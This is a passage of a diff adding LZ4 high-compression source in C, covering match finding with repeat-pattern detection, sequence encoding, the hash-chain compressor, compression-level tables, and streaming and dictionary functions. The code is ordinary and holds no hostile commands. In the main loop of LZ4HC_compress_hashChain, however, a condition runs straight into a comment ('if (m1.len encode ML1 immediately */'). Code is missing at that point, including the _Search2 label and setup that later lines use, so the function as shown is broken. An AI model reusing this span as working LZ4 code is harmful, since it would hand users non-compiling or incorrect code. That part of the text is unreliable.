DELTANEXTU16(chainTable, matchIndex + (U32)pos); + step = (accel++ >> kTrigger); + if (candidateDist > distanceToNextMatch) { + distanceToNextMatch = candidateDist; + matchChainPos = (U32)pos; + accel = 1 << kTrigger; + } } + if (distanceToNextMatch > 1) { + if (distanceToNextMatch > matchIndex) break; /* avoid overflow */ + matchIndex -= distanceToNextMatch; + continue; + } } } + + { U32 const distNextMatch = DELTANEXTU16(chainTable, matchIndex); + if (patternAnalysis && distNextMatch==1 && matchChainPos==0) { + U32 const matchCandidateIdx = matchIndex-1; + /* may be a repeated pattern */ + if (repeat == rep_untested) { + if ( ((pattern & 0xFFFF) == (pattern >> 16)) + & ((pattern & 0xFF) == (pattern >> 24)) ) { + DEBUGLOG(7, "Repeat pattern detected, char %02X", pattern >> 24); + repeat = rep_confirmed; + srcPatternLength = LZ4HC_countPattern(ip+sizeof(pattern), iHighLimit, pattern) + sizeof(pattern); + } else { + repeat = rep_not; + } } + if ( (repeat == rep_confirmed) && (matchCandidateIdx >= lowestMatchIndex) + && LZ4HC_protectDictEnd(prefixIdx, matchCandidateIdx) ) { + const int extDict = matchCandidateIdx < prefixIdx; + const BYTE* const matchPtr = extDict ? dictStart + (matchCandidateIdx - dictIdx) : prefixPtr + (matchCandidateIdx - prefixIdx); + if (LZ4_read32(matchPtr) == pattern) { /* good candidate */ + const BYTE* const iLimit = extDict ? dictEnd : iHighLimit; + size_t forwardPatternLength = LZ4HC_countPattern(matchPtr+sizeof(pattern), iLimit, pattern) + sizeof(pattern); + if (extDict && matchPtr + forwardPatternLength == iLimit) { + U32 const rotatedPattern = LZ4HC_rotatePattern(forwardPatternLength, pattern); + forwardPatternLength += LZ4HC_countPattern(prefixPtr, iHighLimit, rotatedPattern); + } + { const BYTE* const lowestMatchPtr = extDict ? dictStart : prefixPtr; + size_t backLength = LZ4HC_reverseCountPattern(matchPtr, lowestMatchPtr, pattern); + size_t currentSegmentLength; + if (!extDict + && matchPtr - backLength == prefixPtr + && dictIdx < prefixIdx) { + U32 const rotatedPattern = LZ4HC_rotatePattern((U32)(-(int)backLength), pattern); + backLength += LZ4HC_reverseCountPattern(dictEnd, dictStart, rotatedPattern); + } + /* Limit backLength not go further than lowestMatchIndex */ + backLength = matchCandidateIdx - MAX(matchCandidateIdx - (U32)backLength, lowestMatchIndex); + assert(matchCandidateIdx - backLength >= lowestMatchIndex); + currentSegmentLength = backLength + forwardPatternLength; + /* Adjust to end of pattern if the source pattern fits, otherwise the beginning of the pattern */ + if ( (currentSegmentLength >= srcPatternLength) /* current pattern segment large enough to contain full srcPatternLength */ + && (forwardPatternLength <= srcPatternLength) ) { /* haven't reached this position yet */ + U32 const newMatchIndex = matchCandidateIdx + (U32)forwardPatternLength - (U32)srcPatternLength; /* best position, full pattern, might be followed by more match */ + if (LZ4HC_protectDictEnd(prefixIdx, newMatchIndex)) + matchIndex = newMatchIndex; + else { + /* Can only happen if started in the prefix */ + assert(newMatchIndex >= prefixIdx - 3 && newMatchIndex < prefixIdx && !extDict); + matchIndex = prefixIdx; + } + } else { + U32 const newMatchIndex = matchCandidateIdx - (U32)backLength; /* farthest position in current segment, will find a match of length currentSegmentLength + maybe some back */ + if (!LZ4HC_protectDictEnd(prefixIdx, newMatchIndex)) { + assert(newMatchIndex >= prefixIdx - 3 && newMatchIndex < prefixIdx && !extDict); + matchIndex = prefixIdx; + } else { + matchIndex = newMatchIndex; + if (lookBackLength==0) { /* no back possible */ + size_t const maxML = MIN(currentSegmentLength, srcPatternLength); + if ((size_t)longest < maxML) { + assert(prefixPtr - prefixIdx + matchIndex != ip); + if ((size_t)(ip - prefixPtr) + prefixIdx - matchIndex > LZ4_DISTANCE_MAX) break; + assert(maxML < 2 GB); + longest = (int)maxML; + offset = (int)(ipIndex - matchIndex); + *startpos = ip; + DEBUGLOG(7, "Found repeat pattern match of len=%i, offset=%i", longest, offset); + } + { U32 const distToNextPattern = DELTANEXTU16(chainTable, matchIndex); + if (distToNextPattern > matchIndex) break; /* avoid overflow */ + matchIndex -= distToNextPattern; + } } } } } + continue; + } } + } } /* PA optimization */ + + /* follow current chain */ + matchIndex -= DELTANEXTU16(chainTable, matchIndex + matchChainPos); + + } /* while ((matchIndex>=lowestMatchIndex) && (nbAttempts)) */ + + if ( dict == usingDictCtxHc + && nbAttempts > 0 + && ipIndex - lowestMatchIndex < LZ4_DISTANCE_MAX) { + size_t const dictEndOffset = (size_t)(dictCtx->end - dictCtx->prefixStart) + dictCtx->dictLimit; + U32 dictMatchIndex = dictCtx->hashTable[LZ4HC_hashPtr(ip)]; + assert(dictEndOffset <= 1 GB); + matchIndex = dictMatchIndex + lowestMatchIndex - (U32)dictEndOffset; + if (dictMatchIndex>0) DEBUGLOG(7, "dictEndOffset = %zu, dictMatchIndex = %u => relative matchIndex = %i", dictEndOffset, dictMatchIndex, (int)dictMatchIndex - (int)dictEndOffset); + while (ipIndex - matchIndex <= LZ4_DISTANCE_MAX && nbAttempts--) { + const BYTE* const matchPtr = dictCtx->prefixStart - dictCtx->dictLimit + dictMatchIndex; + + if (LZ4_read32(matchPtr) == pattern) { + int mlt; + int back = 0; + const BYTE* vLimit = ip + (dictEndOffset - dictMatchIndex); + if (vLimit > iHighLimit) vLimit = iHighLimit; + mlt = (int)LZ4_count(ip+MINMATCH, matchPtr+MINMATCH, vLimit) + MINMATCH; + back = lookBackLength ? LZ4HC_countBack(ip, matchPtr, iLowLimit, dictCtx->prefixStart) : 0; + mlt -= back; + if (mlt > longest) { + longest = mlt; + offset = (int)(ipIndex - matchIndex); + *startpos = ip + back; + DEBUGLOG(7, "found match of length %i within extDictCtx", longest); + } } + + { U32 const nextOffset = DELTANEXTU16(dictCtx->chainTable, dictMatchIndex); + dictMatchIndex -= nextOffset; + matchIndex -= nextOffset; + } } } + + { LZ4HC_match_t md; + assert(longest >= 0); + md.len = longest; + md.off = offset; + return md; + } +} + +LZ4_FORCE_INLINE LZ4HC_match_t +LZ4HC_InsertAndFindBestMatch(LZ4HC_CCtx_internal* const hc4, /* Index table will be updated */ + const BYTE* const ip, const BYTE* const iLimit, + const int maxNbAttempts, + const int patternAnalysis, + const dictCtx_directive dict) +{ + const BYTE* uselessPtr = ip; + DEBUGLOG(7, "LZ4HC_InsertAndFindBestMatch"); + /* note : LZ4HC_InsertAndGetWiderMatch() is able to modify the starting position of a match (*startpos), + * but this won't be the case here, as we define iLowLimit==ip, + * so LZ4HC_InsertAndGetWiderMatch() won't be allowed to search past ip */ + return LZ4HC_InsertAndGetWiderMatch(hc4, ip, ip, iLimit, MINMATCH-1, &uselessPtr, maxNbAttempts, patternAnalysis, 0 /*chainSwap*/, dict, favorCompressionRatio); +} + +/* LZ4HC_encodeSequence() : + * @return : 0 if ok, + * 1 if buffer issue detected */ +LZ4_FORCE_INLINE int LZ4HC_encodeSequence ( + const BYTE** _ip, + BYTE** _op, + const BYTE** _anchor, + int matchLength, + int offset, + limitedOutput_directive limit, + BYTE* oend) +{ +#define ip (*_ip) +#define op (*_op) +#define anchor (*_anchor) + + size_t length; + BYTE* const token = op++; + +#if defined(LZ4_DEBUG) && (LZ4_DEBUG >= 6) + static const BYTE* start = NULL; + static U32 totalCost = 0; + U32 const pos = (start==NULL) ? 0 : (U32)(anchor - start); + U32 const ll = (U32)(ip - anchor); + U32 const llAdd = (ll>=15) ? ((ll-15) / 255) + 1 : 0; + U32 const mlAdd = (matchLength>=19) ? ((matchLength-19) / 255) + 1 : 0; + U32 const cost = 1 + llAdd + ll + 2 + mlAdd; + if (start==NULL) start = anchor; /* only works for single segment */ + /* g_debuglog_enable = (pos >= 2228) & (pos <= 2262); */ + DEBUGLOG(6, "pos:%7u -- literals:%4u, match:%4i, offset:%5i, cost:%4u + %5u", + pos, + (U32)(ip - anchor), matchLength, offset, + cost, totalCost); + totalCost += cost; +#endif + + /* Encode Literal length */ + length = (size_t)(ip - anchor); + LZ4_STATIC_ASSERT(notLimited == 0); + /* Check output limit */ + if (limit && ((op + (length / 255) + length + (2 + 1 + LASTLITERALS)) > oend)) { + DEBUGLOG(6, "Not enough room to write %i literals (%i bytes remaining)", + (int)length, (int)(oend - op)); + return 1; + } + if (length >= RUN_MASK) { + size_t len = length - RUN_MASK; + *token = (RUN_MASK << ML_BITS); + for(; len >= 255 ; len -= 255) *op++ = 255; + *op++ = (BYTE)len; + } else { + *token = (BYTE)(length << ML_BITS); + } + + /* Copy Literals */ + LZ4_wildCopy8(op, anchor, op + length); + op += length; + + /* Encode Offset */ + assert(offset <= LZ4_DISTANCE_MAX ); + assert(offset > 0); + LZ4_writeLE16(op, (U16)(offset)); op += 2; + + /* Encode MatchLength */ + assert(matchLength >= MINMATCH); + length = (size_t)matchLength - MINMATCH; + if (limit && (op + (length / 255) + (1 + LASTLITERALS) > oend)) { + DEBUGLOG(6, "Not enough room to write match length"); + return 1; /* Check output limit */ + } + if (length >= ML_MASK) { + *token += ML_MASK; + length -= ML_MASK; + for(; length >= 510 ; length -= 510) { *op++ = 255; *op++ = 255; } + if (length >= 255) { length -= 255; *op++ = 255; } + *op++ = (BYTE)length; + } else { + *token += (BYTE)(length); + } + + /* Prepare next loop */ + ip += matchLength; + anchor = ip; + + return 0; +} +#undef ip +#undef op +#undef anchor + +LZ4_FORCE_INLINE int LZ4HC_compress_hashChain ( + LZ4HC_CCtx_internal* const ctx, + const char* const source, + char* const dest, + int* srcSizePtr, + int const maxOutputSize, + int maxNbAttempts, + const limitedOutput_directive limit, + const dictCtx_directive dict + ) +{ + const int inputSize = *srcSizePtr; + const int patternAnalysis = (maxNbAttempts > 128); /* levels 9+ */ + + const BYTE* ip = (const BYTE*) source; + const BYTE* anchor = ip; + const BYTE* const iend = ip + inputSize; + const BYTE* const mflimit = iend - MFLIMIT; + const BYTE* const matchlimit = (iend - LASTLITERALS); + + BYTE* optr = (BYTE*) dest; + BYTE* op = (BYTE*) dest; + BYTE* oend = op + maxOutputSize; + + const BYTE* start0; + const BYTE* start2 = NULL; + const BYTE* start3 = NULL; + LZ4HC_match_t m0, m1, m2, m3; + const LZ4HC_match_t nomatch = {0, 0}; + + /* init */ + DEBUGLOG(5, "LZ4HC_compress_hashChain (dict?=>%i)", dict); + *srcSizePtr = 0; + if (limit == fillOutput) oend -= LASTLITERALS; /* Hack for support LZ4 format restriction */ + if (inputSize < LZ4_minLength) goto _last_literals; /* Input too small, no compression (all literals) */ + + /* Main Loop */ + while (ip <= mflimit) { + m1 = LZ4HC_InsertAndFindBestMatch(ctx, ip, matchlimit, maxNbAttempts, patternAnalysis, dict); + if (m1.len encode ML1 immediately */ + optr = op; + if (LZ4HC_encodeSequence(UPDATABLE(ip, op, anchor), m1.len, m1.off, limit, oend)) goto _dest_overflow; + continue; + } + + if (start0 < ip) { /* first match was skipped at least once */ + if (start2 < ip + m0.len) { /* squeezing ML1 between ML0(original ML1) and ML2 */ + ip = start0; m1 = m0; /* restore initial Match1 */ + } } + + /* Here, start0==ip */ + if ((start2 - ip) < 3) { /* First Match too small : removed */ + ip = start2; + m1 = m2; + goto _Search2; + } + +_Search3: + if ((start2 - ip) < OPTIMAL_ML) { + int correction; + int new_ml = m1.len; + if (new_ml > OPTIMAL_ML) new_ml = OPTIMAL_ML; + if (ip+new_ml > start2 + m2.len - MINMATCH) + new_ml = (int)(start2 - ip) + m2.len - MINMATCH; + correction = new_ml - (int)(start2 - ip); + if (correction > 0) { + start2 += correction; + m2.len -= correction; + } + } + + if (start2 + m2.len <= mflimit) { + m3 = LZ4HC_InsertAndGetWiderMatch(ctx, + start2 + m2.len - 3, start2, matchlimit, m2.len, &start3, + maxNbAttempts, patternAnalysis, 0, dict, favorCompressionRatio); + } else { + m3 = nomatch; /* do not search further */ + } + + if (m3.len <= m2.len) { /* No better match => encode ML1 and ML2 */ + /* ip & ref are known; Now for ml */ + if (start2 < ip+m1.len) m1.len = (int)(start2 - ip); + /* Now, encode 2 sequences */ + optr = op; + if (LZ4HC_encodeSequence(UPDATABLE(ip, op, anchor), m1.len, m1.off, limit, oend)) + goto _dest_overflow; + ip = start2; + optr = op; + if (LZ4HC_encodeSequence(UPDATABLE(ip, op, anchor), m2.len, m2.off, limit, oend)) { + m1 = m2; + goto _dest_overflow; + } + continue; + } + + if (start3 < ip+m1.len+3) { /* Not enough space for match 2 : remove it */ + if (start3 >= (ip+m1.len)) { /* can write Seq1 immediately ==> Seq2 is removed, so Seq3 becomes Seq1 */ + if (start2 < ip+m1.len) { + int correction = (int)(ip+m1.len - start2); + start2 += correction; + m2.len -= correction; + if (m2.len < MINMATCH) { + start2 = start3; + m2 = m3; + } + } + + optr = op; + if (LZ4HC_encodeSequence(UPDATABLE(ip, op, anchor), m1.len, m1.off, limit, oend)) goto _dest_overflow; + ip = start3; + m1 = m3; + + start0 = start2; + m0 = m2; + goto _Search2; + } + + start2 = start3; + m2 = m3; + goto _Search3; + } + + /* + * OK, now we have 3 ascending matches; + * let's write the first one ML1. + * ip & ref are known; Now decide ml. + */ + if (start2 < ip+m1.len) { + if ((start2 - ip) < OPTIMAL_ML) { + int correction; + if (m1.len > OPTIMAL_ML) m1.len = OPTIMAL_ML; + if (ip + m1.len > start2 + m2.len - MINMATCH) + m1.len = (int)(start2 - ip) + m2.len - MINMATCH; + correction = m1.len - (int)(start2 - ip); + if (correction > 0) { + start2 += correction; + m2.len -= correction; + } + } else { + m1.len = (int)(start2 - ip); + } + } + optr = op; + if (LZ4HC_encodeSequence(UPDATABLE(ip, op, anchor), m1.len, m1.off, limit, oend)) goto _dest_overflow; + + /* ML2 becomes ML1 */ + ip = start2; m1 = m2; + + /* ML3 becomes ML2 */ + start2 = start3; m2 = m3; + + /* let's find a new ML3 */ + goto _Search3; + } + +_last_literals: + /* Encode Last Literals */ + { size_t lastRunSize = (size_t)(iend - anchor); /* literals */ + size_t llAdd = (lastRunSize + 255 - RUN_MASK) / 255; + size_t const totalSize = 1 + llAdd + lastRunSize; + if (limit == fillOutput) oend += LASTLITERALS; /* restore correct value */ + if (limit && (op + totalSize > oend)) { + if (limit == limitedOutput) return 0; + /* adapt lastRunSize to fill 'dest' */ + lastRunSize = (size_t)(oend - op) - 1 /*token*/; + llAdd = (lastRunSize + 256 - RUN_MASK) / 256; + lastRunSize -= llAdd; + } + DEBUGLOG(6, "Final literal run : %i literals", (int)lastRunSize); + ip = anchor + lastRunSize; /* can be != iend if limit==fillOutput */ + + if (lastRunSize >= RUN_MASK) { + size_t accumulator = lastRunSize - RUN_MASK; + *op++ = (RUN_MASK << ML_BITS); + for(; accumulator >= 255 ; accumulator -= 255) *op++ = 255; + *op++ = (BYTE) accumulator; + } else { + *op++ = (BYTE)(lastRunSize << ML_BITS); + } + LZ4_memcpy(op, anchor, lastRunSize); + op += lastRunSize; + } + + /* End */ + *srcSizePtr = (int) (((const char*)ip) - source); + return (int) (((char*)op)-dest); + +_dest_overflow: + if (limit == fillOutput) { + /* Assumption : ip, anchor, ml and ref must be set correctly */ + size_t const ll = (size_t)(ip - anchor); + size_t const ll_addbytes = (ll + 240) / 255; + size_t const ll_totalCost = 1 + ll_addbytes + ll; + BYTE* const maxLitPos = oend - 3; /* 2 for offset, 1 for token */ + DEBUGLOG(6, "Last sequence overflowing"); + op = optr; /* restore correct out pointer */ + if (op + ll_totalCost <= maxLitPos) { + /* ll validated; now adjust match length */ + size_t const bytesLeftForMl = (size_t)(maxLitPos - (op+ll_totalCost)); + size_t const maxMlSize = MINMATCH + (ML_MASK-1) + (bytesLeftForMl * 255); + assert(maxMlSize < INT_MAX); assert(m1.len >= 0); + if ((size_t)m1.len > maxMlSize) m1.len = (int)maxMlSize; + if ((oend + LASTLITERALS) - (op + ll_totalCost + 2) - 1 + m1.len >= MFLIMIT) { + LZ4HC_encodeSequence(UPDATABLE(ip, op, anchor), m1.len, m1.off, notLimited, oend); + } } + goto _last_literals; + } + /* compression failed */ + return 0; +} + + +static int LZ4HC_compress_optimal( LZ4HC_CCtx_internal* ctx, + const char* const source, char* dst, + int* srcSizePtr, int dstCapacity, + int const nbSearches, size_t sufficient_len, + const limitedOutput_directive limit, int const fullUpdate, + const dictCtx_directive dict, + const HCfavor_e favorDecSpeed); + + +LZ4_FORCE_INLINE int +LZ4HC_compress_generic_internal ( + LZ4HC_CCtx_internal* const ctx, + const char* const src, + char* const dst, + int* const srcSizePtr, + int const dstCapacity, + int cLevel, + const limitedOutput_directive limit, + const dictCtx_directive dict + ) +{ + typedef enum { lz4hc, lz4opt } lz4hc_strat_e; + typedef struct { + lz4hc_strat_e strat; + int nbSearches; + U32 targetLength; + } cParams_t; + static const cParams_t clTable[LZ4HC_CLEVEL_MAX+1] = { + { lz4hc, 2, 16 }, /* 0, unused */ + { lz4hc, 2, 16 }, /* 1, unused */ + { lz4hc, 2, 16 }, /* 2, unused */ + { lz4hc, 4, 16 }, /* 3 */ + { lz4hc, 8, 16 }, /* 4 */ + { lz4hc, 16, 16 }, /* 5 */ + { lz4hc, 32, 16 }, /* 6 */ + { lz4hc, 64, 16 }, /* 7 */ + { lz4hc, 128, 16 }, /* 8 */ + { lz4hc, 256, 16 }, /* 9 */ + { lz4opt, 96, 64 }, /*10==LZ4HC_CLEVEL_OPT_MIN*/ + { lz4opt, 512,128 }, /*11 */ + { lz4opt,16384,LZ4_OPT_NUM }, /* 12==LZ4HC_CLEVEL_MAX */ + }; + + DEBUGLOG(5, "LZ4HC_compress_generic_internal(src=%p, srcSize=%d)", + src, *srcSizePtr); + + if (limit == fillOutput && dstCapacity < 1) return 0; /* Impossible to store anything */ + if ((U32)*srcSizePtr > (U32)LZ4_MAX_INPUT_SIZE) return 0; /* Unsupported input size (too large or negative) */ + + ctx->end += *srcSizePtr; + if (cLevel < 1) cLevel = LZ4HC_CLEVEL_DEFAULT; /* note : convention is different from lz4frame, maybe something to review */ + cLevel = MIN(LZ4HC_CLEVEL_MAX, cLevel); + { cParams_t const cParam = clTable[cLevel]; + HCfavor_e const favor = ctx->favorDecSpeed ? favorDecompressionSpeed : favorCompressionRatio; + int result; + + if (cParam.strat == lz4hc) { + result = LZ4HC_compress_hashChain(ctx, + src, dst, srcSizePtr, dstCapacity, + cParam.nbSearches, limit, dict); + } else { + assert(cParam.strat == lz4opt); + result = LZ4HC_compress_optimal(ctx, + src, dst, srcSizePtr, dstCapacity, + cParam.nbSearches, cParam.targetLength, limit, + cLevel == LZ4HC_CLEVEL_MAX, /* ultra mode */ + dict, favor); + } + if (result <= 0) ctx->dirty = 1; + return result; + } +} + +static void LZ4HC_setExternalDict(LZ4HC_CCtx_internal* ctxPtr, const BYTE* newBlock); + +static int +LZ4HC_compress_generic_noDictCtx ( + LZ4HC_CCtx_internal* const ctx, + const char* const src, + char* const dst, + int* const srcSizePtr, + int const dstCapacity, + int cLevel, + limitedOutput_directive limit + ) +{ + assert(ctx->dictCtx == NULL); + return LZ4HC_compress_generic_internal(ctx, src, dst, srcSizePtr, dstCapacity, cLevel, limit, noDictCtx); +} + +static int +LZ4HC_compress_generic_dictCtx ( + LZ4HC_CCtx_internal* const ctx, + const char* const src, + char* const dst, + int* const srcSizePtr, + int const dstCapacity, + int cLevel, + limitedOutput_directive limit + ) +{ + const size_t position = (size_t)(ctx->end - ctx->prefixStart) + (ctx->dictLimit - ctx->lowLimit); + assert(ctx->dictCtx != NULL); + if (position >= 64 KB) { + ctx->dictCtx = NULL; + return LZ4HC_compress_generic_noDictCtx(ctx, src, dst, srcSizePtr, dstCapacity, cLevel, limit); + } else if (position == 0 && *srcSizePtr > 4 KB) { + LZ4_memcpy(ctx, ctx->dictCtx, sizeof(LZ4HC_CCtx_internal)); + LZ4HC_setExternalDict(ctx, (const BYTE *)src); + ctx->compressionLevel = (short)cLevel; + return LZ4HC_compress_generic_noDictCtx(ctx, src, dst, srcSizePtr, dstCapacity, cLevel, limit); + } else { + return LZ4HC_compress_generic_internal(ctx, src, dst, srcSizePtr, dstCapacity, cLevel, limit, usingDictCtxHc); + } +} + +static int +LZ4HC_compress_generic ( + LZ4HC_CCtx_internal* const ctx, + const char* const src, + char* const dst, + int* const srcSizePtr, + int const dstCapacity, + int cLevel, + limitedOutput_directive limit + ) +{ + if (ctx->dictCtx == NULL) { + return LZ4HC_compress_generic_noDictCtx(ctx, src, dst, srcSizePtr, dstCapacity, cLevel, limit); + } else { + return LZ4HC_compress_generic_dictCtx(ctx, src, dst, srcSizePtr, dstCapacity, cLevel, limit); + } +} + + +int LZ4_sizeofStateHC(void) { return (int)sizeof(LZ4_streamHC_t); } + +static size_t LZ4_streamHC_t_alignment(void) +{ +#if LZ4_ALIGN_TEST + typedef struct { char c; LZ4_streamHC_t t; } t_a; + return sizeof(t_a) - sizeof(LZ4_streamHC_t); +#else + return 1; /* effectively disabled */ +#endif +} + +/* state is presumed correctly initialized, + * in which case its size and alignment have already been validate */ +int LZ4_compress_HC_extStateHC_fastReset (void* state, const char* src, char* dst, int srcSize, int dstCapacity, int compressionLevel) +{ + LZ4HC_CCtx_internal* const ctx = &((LZ4_streamHC_t*)state)->internal_donotuse; + if (!LZ4_isAligned(state, LZ4_streamHC_t_alignment())) return 0; + LZ4_resetStreamHC_fast((LZ4_streamHC_t*)state, compressionLevel); + LZ4HC_init_internal (ctx, (const BYTE*)src); + if (dstCapacity < LZ4_compressBound(srcSize)) + return LZ4HC_compress_generic (ctx, src, dst, &srcSize, dstCapacity, compressionLevel, limitedOutput); + else + return LZ4HC_compress_generic (ctx, src, dst, &srcSize, dstCapacity, compressionLevel, notLimited); +} + +int LZ4_compress_HC_extStateHC (void* state, const char* src, char* dst, int srcSize, int dstCapacity, int compressionLevel) +{ + LZ4_streamHC_t* const ctx = LZ4_initStreamHC(state, sizeof(*ctx)); + if (ctx==NULL) return 0; /* init failure */ + return LZ4_compress_HC_extStateHC_fastReset(state, src, dst, srcSize, dstCapacity, compressionLevel); +} + +int LZ4_compress_HC(const char* src, char* dst, int srcSize, int dstCapacity, int compressionLevel) +{ + int cSize; +#if defined(LZ4HC_HEAPMODE) && LZ4HC_HEAPMODE==1 + LZ4_streamHC_t* const statePtr = (LZ4_streamHC_t*)ALLOC(sizeof(LZ4_streamHC_t)); + if (statePtr==NULL) return 0; +#else + LZ4_streamHC_t state; + LZ4_streamHC_t* const statePtr = &state; +#endif + DEBUGLOG(5, "LZ4_compress_HC") + cSize = LZ4_compress_HC_extStateHC(statePtr, src, dst, srcSize, dstCapacity, compressionLevel); +#if defined(LZ4HC_HEAPMODE) && LZ4HC_HEAPMODE==1 + FREEMEM(statePtr); +#endif + return cSize; +} + +/* state is presumed sized correctly (>= sizeof(LZ4_streamHC_t)) */ +int LZ4_compress_HC_destSize(void* state, const char* source, char* dest, int* sourceSizePtr, int targetDestSize, int cLevel) +{ + LZ4_streamHC_t* const ctx = LZ4_initStreamHC(state, sizeof(*ctx)); + if (ctx==NULL) return 0; /* init failure */ + LZ4HC_init_internal(&ctx->internal_donotuse, (const BYTE*) source); + LZ4_setCompressionLevel(ctx, cLevel); + return LZ4HC_compress_generic(&ctx->internal_donotuse, source, dest, sourceSizePtr, targetDestSize, cLevel, fillOutput); +} + + + +/************************************** +* Streaming Functions +**************************************/ +/* allocation */ +#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) +LZ4_streamHC_t* LZ4_createStreamHC(void) +{ + LZ4_streamHC_t* const state = + (LZ4_streamHC_t*)ALLOC_AND_ZERO(sizeof(LZ4_streamHC_t)); + if (state == NULL) return NULL; + LZ4_setCompressionLevel(state, LZ4HC_CLEVEL_DEFAULT); + return state; +} + +int LZ4_freeStreamHC (LZ4_streamHC_t* LZ4_streamHCPtr) +{ + DEBUGLOG(4, "LZ4_freeStreamHC(%p)", LZ4_streamHCPtr); + if (!LZ4_streamHCPtr) return 0; /* support free on NULL */ + FREEMEM(LZ4_streamHCPtr); + return 0; +} +#endif + + +LZ4_streamHC_t* LZ4_initStreamHC (void* buffer, size_t size) +{ + LZ4_streamHC_t* const LZ4_streamHCPtr = (LZ4_streamHC_t*)buffer; + DEBUGLOG(4, "LZ4_initStreamHC(%p, %u)", buffer, (unsigned)size); + /* check conditions */ + if (buffer == NULL) return NULL; + if (size < sizeof(LZ4_streamHC_t)) return NULL; + if (!LZ4_isAligned(buffer, LZ4_streamHC_t_alignment())) return NULL; + /* init */ + { LZ4HC_CCtx_internal* const hcstate = &(LZ4_streamHCPtr->internal_donotuse); + MEM_INIT(hcstate, 0, sizeof(*hcstate)); } + LZ4_setCompressionLevel(LZ4_streamHCPtr, LZ4HC_CLEVEL_DEFAULT); + return LZ4_streamHCPtr; +} + +/* just a stub */ +void LZ4_resetStreamHC (LZ4_streamHC_t* LZ4_streamHCPtr, int compressionLevel) +{ + LZ4_initStreamHC(LZ4_streamHCPtr, sizeof(*LZ4_streamHCPtr)); + LZ4_setCompressionLevel(LZ4_streamHCPtr, compressionLevel); +} + +void LZ4_resetStreamHC_fast (LZ4_streamHC_t* LZ4_streamHCPtr, int compressionLevel) +{ + LZ4HC_CCtx_internal* const s = &LZ4_streamHCPtr->internal_donotuse; + DEBUGLOG(5, "LZ4_resetStreamHC_fast(%p, %d)", LZ4_streamHCPtr, compressionLevel); + if (s->dirty) { + LZ4_initStreamHC(LZ4_streamHCPtr, sizeof(*LZ4_streamHCPtr)); + } else { + assert(s->end >= s->prefixStart); + s->dictLimit += (U32)(s->end - s->prefixStart); + s->prefixStart = NULL; + s->end = NULL; + s->dictCtx = NULL; + } + LZ4_setCompressionLevel(LZ4_streamHCPtr, compressionLevel); +} + +void LZ4_setCompressionLevel(LZ4_streamHC_t* LZ4_streamHCPtr, int compressionLevel) +{ + DEBUGLOG(5, "LZ4_setCompressionLevel(%p, %d)", LZ4_streamHCPtr, compressionLevel); + if (compressionLevel < 1) compressionLevel = LZ4HC_CLEVEL_DEFAULT; + if (compressionLevel > LZ4HC_CLEVEL_MAX) compressionLevel = LZ4HC_CLEVEL_MAX; + LZ4_streamHCPtr->internal_donotuse.compressionLevel = (short)compressionLevel; +} + +void LZ4_favorDecompressionSpeed(LZ4_streamHC_t* LZ4_streamHCPtr, int favor) +{ + LZ4_streamHCPtr->internal_donotuse.favorDecSpeed = (favor!=0); +} + +/* LZ4_loadDictHC() : + * LZ4_streamHCPtr is presumed properly initialized */ +int LZ4_loadDictHC (LZ4_streamHC_t* LZ4_streamHCPtr, + const char* dictionary, int dictSize) +{ + LZ4HC_CCtx_internal* const ctxPtr = &LZ4_streamHCPtr->internal_donotuse; + DEBUGLOG(4, "LZ4_loadDictHC(ctx:%p, dict:%p, dictSize:%d)", LZ4_streamHCPtr, dictionary, dictSize); + assert(LZ4_streamHCPtr != NULL); + if (dictSize > 64 KB) { + dictionary += (size_t)dictSize - 64 KB; + dictSize = 64 KB; + } + /* need a full initialization, there are bad side-effects when using resetFast() */ + { int const cLevel = ctxPtr->compressionLevel; + LZ4_initStreamHC(LZ4_streamHCPtr, sizeof(*LZ4_streamHCPtr)); + LZ4_setCompressionLevel(LZ4_streamHCPtr, cLevel); + } + LZ4HC_init_internal (ctxPtr, (const BYTE*)dictionary); + ctxPtr->end = (const BYTE*)dictionary + dictSize; + if (dictSize >= LZ4HC_HASHSIZE) LZ4HC_Insert (ctxPtr, ctxPtr->end-3); + return dictSize; +} + +void LZ4_attach_HC_dictionary(LZ4_streamHC_t *working_stream, const LZ4_streamHC_t *dictionary_stream) { + working_stream->internal_donotuse.dictCtx = dictionary_stream != NULL ? &(dictionary_stream->internal_donotuse) : NULL; +} + +/* compression */ + +static void LZ4HC_setExternalDict(LZ4HC_CCtx_internal* ctxPtr, const BYTE* newBlock) +{ + DEBUGLOG(4, "LZ4HC_setExternalDict(%p, %p)", ctxPtr, newBlock); + if (ctxPtr->end >= ctxPtr->prefixStart + 4) + LZ4HC_Insert (ctxPtr, ctxPtr->end-3); /* Referencing remaining dictionary content */ + + /* Only one memory segment for extDict, so any previous extDict is lost at this stage */ + ctxPtr->lowLimit = ctxPtr->dictLimit; + ctxPtr->dictStart = ctxPtr->prefixStart; + ctxPtr->dictLimit += (U32)(ctxPtr->end - ctxPtr->prefixStart); + ctxPtr->prefixStart = newBlock; + ctxPtr->end = newBlock; + ctxPtr->nextToUpdate = ctxPtr->dictLimit; /* match referencing will resume from there */ + + /* cannot reference an extDict and a dictCtx at the same time */ + ctxPtr->dictCtx = NULL; +} + +static int +LZ4_compressHC_continue_generic (LZ4_streamHC_t* LZ4_streamHCPtr, + const char* src, char* dst, + int* srcSizePtr, int dstCapacity, + limitedOutput_directive limit) +{ + LZ4HC_CCtx_internal* const ctxPtr = &LZ4_streamHCPtr->internal_donotuse; + DEBUGLOG(5, "LZ4_compressHC_continue_generic(ctx=%p, src=%p, srcSize=%d, limit=%d)", + LZ4_streamHCPtr, src, *srcSizePtr, limit); + assert(ctxPtr != NULL); + /* auto-init if forgotten */ + if (ctxPtr->prefixStart == NULL) LZ4HC_init_internal (ctxPtr, (const BYTE*) src); + + /* Check overflow */ + if ((size_t)(ctxPtr->end - ctxPtr->prefixStart) + ctxPtr->dictLimit > 2 GB) { + size_t dictSize = (size_t)(ctxPtr->end - ctxPtr->prefixStart); + if (dictSize > 64 KB) dictSize = 64 KB; + LZ4_loadDictHC(LZ4_streamHCPtr, (const char*)(ctxPtr->end) - dictSize, (int)dictSize); + } + + /* Check if blocks follow each other */ + if ((const BYTE*)src != ctxPtr->end) + LZ4HC_setExternalDict(ctxPtr, (const BYTE*)src); + + /* Check overlapping input/dictionary space */ + { const BYTE* sourceEnd = (const BYTE*) src + *srcSizePtr; + const BYTE* const dictBegin = ctxPtr->dictStart; + const BYTE* const dictEnd = ctxPtr->dictStart + (ctxPtr->dictLimit - ctxPtr->lowLimit); + if ((sourceEnd > dictBegin) && 